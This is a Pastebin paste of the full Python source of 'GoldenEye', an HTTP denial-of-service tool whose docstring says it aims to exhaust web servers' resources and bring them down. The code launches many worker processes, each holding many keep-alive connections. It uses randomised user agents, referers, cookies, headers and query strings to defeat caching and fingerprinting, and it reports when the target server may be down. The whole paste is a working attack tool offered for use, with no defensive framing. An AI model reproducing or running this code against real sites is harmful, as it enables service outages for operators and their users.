Advertisement
KhaosBringer

Golden Eye Attack Script.py

Nov 24th, 2018
728
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 14.39 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. """
  4. $Id: $
  5.                                                                                                                                                                                                  
  6. This tool is a dos tool that is meant to put heavy load on HTTP servers
  7. in order to bring them to their knees by exhausting the resource pool.
  8.  
  9. """
  10.  
  11. from multiprocessing import Process, Manager
  12. import urlparse, ssl
  13. import sys, getopt, random, time
  14.  
  15. # Python version-specific
  16. if  sys.version_info < (3,0):
  17.     # Python 2.x
  18.     import httplib
  19.     HTTPCLIENT = httplib
  20. else:
  21.     # Python 3.x
  22.     import http.client
  23.     HTTPCLIENT = http.client
  24.  
  25. ####
  26. # Config
  27. ####
  28. DEBUG = False
  29.  
  30. ####
  31. # Constants
  32. ####
  33. METHOD_GET  = 'get'
  34. METHOD_POST = 'post'
  35. METHOD_RAND = 'random'
  36.  
  37. JOIN_TIMEOUT=1.0
  38.  
  39. DEFAULT_WORKERS=50
  40. DEFAULT_SOCKETS=30
  41.  
  42. ####
  43. # GoldenEye Class
  44. ####
  45.  
  46. class GoldenEye(object):
  47.  
  48.     # Counters
  49.     counter = [0, 0]
  50.     last_counter = [0, 0]
  51.  
  52.     # Containers
  53.     workersQueue = []
  54.     manager = None
  55.  
  56.     # Properties
  57.     url = None
  58.  
  59.     # Options
  60.     nr_workers = DEFAULT_WORKERS
  61.     nr_sockets = DEFAULT_SOCKETS
  62.     method = METHOD_GET
  63.  
  64.     def __init__(self, url):
  65.  
  66.         # Set URL
  67.         self.url = url
  68.  
  69.         # Initialize Manager
  70.         self.manager = Manager()
  71.  
  72.         # Initialize Counters
  73.         self.counter = self.manager.list((0, 0))
  74.  
  75.     def exit(self):
  76.         self.stats()
  77.         print "Shutting down GoldenEye"
  78.  
  79.     def __del__(self):
  80.         self.exit()
  81.  
  82.     def printHeader(self):
  83.  
  84.         # Taunt!
  85.         print "GoldenEye firing!"
  86.  
  87.     # Do the fun!
  88.     def fire(self):
  89.  
  90.         self.printHeader()
  91.         print "Hitting webserver in mode {0} with {1} workers running {2} connections each".format(self.method, self.nr_workers, self.nr_sockets)
  92.  
  93.         if DEBUG:
  94.             print "Starting {0} concurrent Laser workers".format(self.nr_workers)
  95.  
  96.         # Start workers
  97.         for i in range(int(self.nr_workers)):
  98.  
  99.             try:
  100.  
  101.                 worker = Laser(self.url, self.nr_sockets, self.counter)
  102.                 worker.method = self.method
  103.  
  104.                 self.workersQueue.append(worker)
  105.                 worker.start()
  106.             except (Exception):
  107.                 error("Failed to start worker {0}".format(i))
  108.                 pass
  109.  
  110.         print "Initiating monitor"
  111.         self.monitor()
  112.  
  113.     def stats(self):
  114.  
  115.         try:
  116.             if self.counter[0] > 0 or self.counter[1] > 0:
  117.  
  118.                 print "{0} GoldenEye punches deferred. ({1} Failed)".format(self.counter[0], self.counter[1])
  119.  
  120.                 if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]:
  121.                     print "\tServer may be DOWN!"
  122.    
  123.                 self.last_counter[0] = self.counter[0]
  124.                 self.last_counter[1] = self.counter[1]
  125.         except (Exception):
  126.             pass # silently ignore
  127.  
  128.     def monitor(self):
  129.         while len(self.workersQueue) > 0:
  130.             try:
  131.                 for worker in self.workersQueue:
  132.                     if worker is not None and worker.is_alive():
  133.                         worker.join(JOIN_TIMEOUT)
  134.                     else:
  135.                         self.workersQueue.remove(worker)
  136.  
  137.                 self.stats()
  138.  
  139.             except (KeyboardInterrupt, SystemExit):
  140.                 print "CTRL+C received. Killing all workers"
  141.                 for worker in self.workersQueue:
  142.                     try:
  143.                         if DEBUG:
  144.                             print "Killing worker {0}".format(worker.name)
  145.                         #worker.terminate()
  146.                         worker.stop()
  147.                     except Exception, ex:
  148.                         pass # silently ignore
  149.                 if DEBUG:
  150.                     raise
  151.                 else:
  152.                     pass
  153.  
  154. ####
  155. # Laser Class
  156. ####
  157.  
  158. class Laser(Process):
  159.  
  160.        
  161.     # Counters
  162.     request_count = 0
  163.     failed_count = 0
  164.  
  165.     # Containers
  166.     url = None
  167.     host = None
  168.     port = 80
  169.     ssl = False
  170.     referers = []
  171.     useragents = []
  172.     socks = []
  173.     counter = None
  174.     nr_socks = DEFAULT_SOCKETS
  175.  
  176.     # Flags
  177.     runnable = True
  178.  
  179.     # Options
  180.     method = METHOD_GET
  181.  
  182.     def __init__(self, url, nr_sockets, counter):
  183.  
  184.         super(Laser, self).__init__()
  185.  
  186.         self.counter = counter
  187.         self.nr_socks = nr_sockets
  188.  
  189.         parsedUrl = urlparse.urlparse(url)
  190.  
  191.         if parsedUrl.scheme == 'https':
  192.             self.ssl = True
  193.  
  194.         self.host = parsedUrl.netloc.split(':')[0]
  195.         self.url = parsedUrl.path
  196.  
  197.         self.port = parsedUrl.port
  198.  
  199.         if not self.port:
  200.             self.port = 80 if not self.ssl else 443
  201.  
  202.  
  203.         self.referers = [
  204.             'http://www.google.com/?q=',
  205.             'http://www.usatoday.com/search/results?q=',
  206.             'http://engadget.search.aol.com/search?q=',
  207.             'http://' + self.host + '/'
  208.             ]
  209.  
  210.  
  211.         self.useragents = [
  212.             'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
  213.             'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
  214.             'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
  215.             'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
  216.             'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
  217.             'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
  218.             'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
  219.             'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
  220.             'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
  221.             'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
  222.             'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
  223.             'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
  224.             ]
  225.  
  226.     def __del__(self):
  227.         self.stop()
  228.  
  229.  
  230.     #builds random ascii string
  231.     def buildblock(self, size):
  232.         out_str = ''
  233.  
  234.         _LOWERCASE = range(97, 122)
  235.         _UPPERCASE = range(65, 90)
  236.         _NUMERIC   = range(48, 57)
  237.  
  238.         validChars = _LOWERCASE + _UPPERCASE + _NUMERIC
  239.  
  240.         for i in range(0, size):
  241.             a = random.choice(validChars)
  242.             out_str += chr(a)
  243.  
  244.         return out_str
  245.  
  246.  
  247.     def run(self):
  248.  
  249.         if DEBUG:
  250.             print "Starting worker {0}".format(self.name)
  251.  
  252.         while self.runnable:
  253.  
  254.             try:
  255.  
  256.                 for i in range(self.nr_socks):
  257.                
  258.                     if self.ssl:
  259.                         c = HTTPCLIENT.HTTPSConnection(self.host, self.port)
  260.                     else:
  261.                         c = HTTPCLIENT.HTTPConnection(self.host, self.port)
  262.  
  263.                     self.socks.append(c)
  264.  
  265.                 for conn_req in self.socks:
  266.  
  267.                     (url, headers) = self.createPayload()
  268.  
  269.                     method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method
  270.  
  271.                     conn_req.request(method.upper(), url, None, headers)
  272.  
  273.                 for conn_resp in self.socks:
  274.  
  275.                     resp = conn_resp.getresponse()
  276.                     self.incCounter()
  277.  
  278.                 self.closeConnections()
  279.                
  280.             except:
  281.                 self.incFailed()
  282.                 if DEBUG:
  283.                     raise
  284.                 else:
  285.                     pass # silently ignore
  286.  
  287.         if DEBUG:
  288.             print "Worker {0} completed run. Sleeping...".format(self.name)
  289.            
  290.     def closeConnections(self):
  291.         for conn in self.socks:
  292.             try:
  293.                 conn.close()
  294.             except:
  295.                 pass # silently ignore
  296.            
  297.  
  298.     def createPayload(self):
  299.  
  300.         req_url, headers = self.generateData()
  301.  
  302.         random_keys = headers.keys()
  303.         random.shuffle(random_keys)
  304.         random_headers = {}
  305.        
  306.         for header_name in random_keys:
  307.             random_headers[header_name] = headers[header_name]
  308.  
  309.         return (req_url, random_headers)
  310.  
  311.     def generateQueryString(self, ammount = 1):
  312.  
  313.         queryString = []
  314.  
  315.         for i in range(ammount):
  316.  
  317.             key = self.buildblock(random.randint(3,10))
  318.             value = self.buildblock(random.randint(3,20))
  319.             element = "{0}={1}".format(key, value)
  320.             queryString.append(element)
  321.  
  322.         return '&'.join(queryString)
  323.            
  324.    
  325.     def generateData(self):
  326.  
  327.         returnCode = 0
  328.         param_joiner = "?"
  329.  
  330.         if len(self.url) == 0:
  331.             self.url = '/'
  332.  
  333.         if self.url.count("?") > 0:
  334.             param_joiner = "&"
  335.  
  336.         request_url = self.generateRequestUrl(param_joiner)
  337.  
  338.         http_headers = self.generateRandomHeaders()
  339.  
  340.  
  341.         return (request_url, http_headers)
  342.  
  343.     def generateRequestUrl(self, param_joiner = '?'):
  344.  
  345.         return self.url + param_joiner + self.generateQueryString(random.randint(1,5))
  346.  
  347.     def generateRandomHeaders(self):
  348.  
  349.         # Random no-cache entries
  350.         noCacheDirectives = ['no-cache', 'must-revalidate']
  351.         random.shuffle(noCacheDirectives)
  352.         noCache = ', '.join(noCacheDirectives)
  353.  
  354.         # Random accept encoding
  355.         acceptEncoding = ['\'\'','*','identity','gzip','deflate']
  356.         random.shuffle(acceptEncoding)
  357.         nrEncodings = random.randint(0,len(acceptEncoding)/2)
  358.         roundEncodings = acceptEncoding[:nrEncodings]
  359.  
  360.         http_headers = {
  361.             'User-Agent': random.choice(self.useragents),
  362.             'Cache-Control': noCache,
  363.             'Accept-Encoding': ', '.join(roundEncodings),
  364.             'Connection': 'keep-alive',
  365.             'Keep-Alive': random.randint(110,120),
  366.             'Host': self.host,
  367.         }
  368.    
  369.         # Randomly-added headers
  370.         # These headers are optional and are
  371.         # randomly sent thus making the
  372.         # header count random and unfingerprintable
  373.         if random.randrange(2) == 0:
  374.             # Random accept-charset
  375.             acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ]
  376.             random.shuffle(acceptCharset)
  377.             http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1))
  378.  
  379.         if random.randrange(2) == 0:
  380.             # Random Referer
  381.             http_headers['Referer'] = random.choice(self.referers) + self.buildblock(random.randint(5,10))
  382.  
  383.         if random.randrange(2) == 0:
  384.             # Random Content-Trype
  385.             http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded'])
  386.  
  387.         if random.randrange(2) == 0:
  388.             # Random Cookie
  389.             http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5))
  390.  
  391.         return http_headers
  392.  
  393.     # Housekeeping
  394.     def stop(self):
  395.         self.runnable = False
  396.         self.closeConnections()
  397.         self.terminate()
  398.  
  399.     # Counter Functions
  400.     def incCounter(self):
  401.         try:
  402.             self.counter[0] += 1
  403.         except (Exception):
  404.             pass
  405.  
  406.     def incFailed(self):
  407.         try:
  408.             self.counter[1] += 1
  409.         except (Exception):
  410.             pass
  411.        
  412.  
  413.  
  414. ####
  415.  
  416. ####
  417. # Other Functions
  418. ####
  419.  
  420. def usage():
  421.     print
  422.     print '-----------------------------------------------------------------------------------------------------------'
  423.     print ' USAGE: ./goldeneye.py <url> [OPTIONS]'
  424.     print
  425.     print ' OPTIONS:'
  426.     print '\t Flag\t\t\tDescription\t\t\t\t\t\tDefault'
  427.     print '\t -w, --workers\t\tNumber of concurrent workers\t\t\t\t(default: {0})'.format(DEFAULT_WORKERS)
  428.     print '\t -s, --sockets\t\tNumber of concurrent sockets\t\t\t\t(default: {0})'.format(DEFAULT_SOCKETS)
  429.     print '\t -m, --method\t\tHTTP Method to use \'get\' or \'post\'  or \'random\'\t\t(default: get)'
  430.     print '\t -d, --debug\t\tEnable Debug Mode [more verbose output]\t\t\t(default: False)'
  431.     print '\t -h, --help\t\tShows this help'
  432.     print '-----------------------------------------------------------------------------------------------------------'
  433.  
  434.    
  435. def error(msg):
  436.     # print help information and exit:
  437.     sys.stderr.write(str(msg+"\n"))
  438.     usage()
  439.     sys.exit(2)
  440.  
  441. ####
  442. # Main
  443. ####
  444.  
  445. def main():
  446.    
  447.     try:
  448.  
  449.         if len(sys.argv) < 2:
  450.             error('Please supply at least the URL')
  451.  
  452.         url = sys.argv[1]
  453.  
  454.         if url == '-h':
  455.             usage()
  456.             sys.exit()
  457.  
  458.         if url[0:4].lower() != 'http':
  459.             error("Invalid URL supplied")
  460.  
  461.         if url == None:
  462.             error("No URL supplied")
  463.  
  464.         opts, args = getopt.getopt(sys.argv[2:], "dhw:s:m:", ["debug", "help", "workers", "sockets", "method" ])
  465.  
  466.         workers = DEFAULT_WORKERS
  467.         socks = DEFAULT_SOCKETS
  468.         method = METHOD_GET
  469.  
  470.         for o, a in opts:
  471.             if o in ("-h", "--help"):
  472.                 usage()
  473.                 sys.exit()
  474.             elif o in ("-s", "--sockets"):
  475.                 socks = int(a)
  476.             elif o in ("-w", "--workers"):
  477.                 workers = int(a)
  478.             elif o in ("-d", "--debug"):
  479.                 global DEBUG
  480.                 DEBUG = True
  481.             elif o in ("-m", "--method"):
  482.                 if a in (METHOD_GET, METHOD_POST, METHOD_RAND):
  483.                     method = a
  484.                 else:
  485.                     error("method {0} is invalid".format(a))
  486.             else:
  487.                 error("option '"+o+"' doesn't exists")
  488.  
  489.         goldeneye = GoldenEye(url)
  490.         goldeneye.nr_workers = workers
  491.         goldeneye.method = method
  492.         goldeneye.nr_sockets = socks
  493.  
  494.         goldeneye.fire()
  495.  
  496.     except getopt.GetoptError, err:
  497.  
  498.         # print help information and exit:
  499.         sys.stderr.write(str(err))
  500.         usage()
  501.         sys.exit(2)
  502.  
  503. if __name__ == "__main__":
  504.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement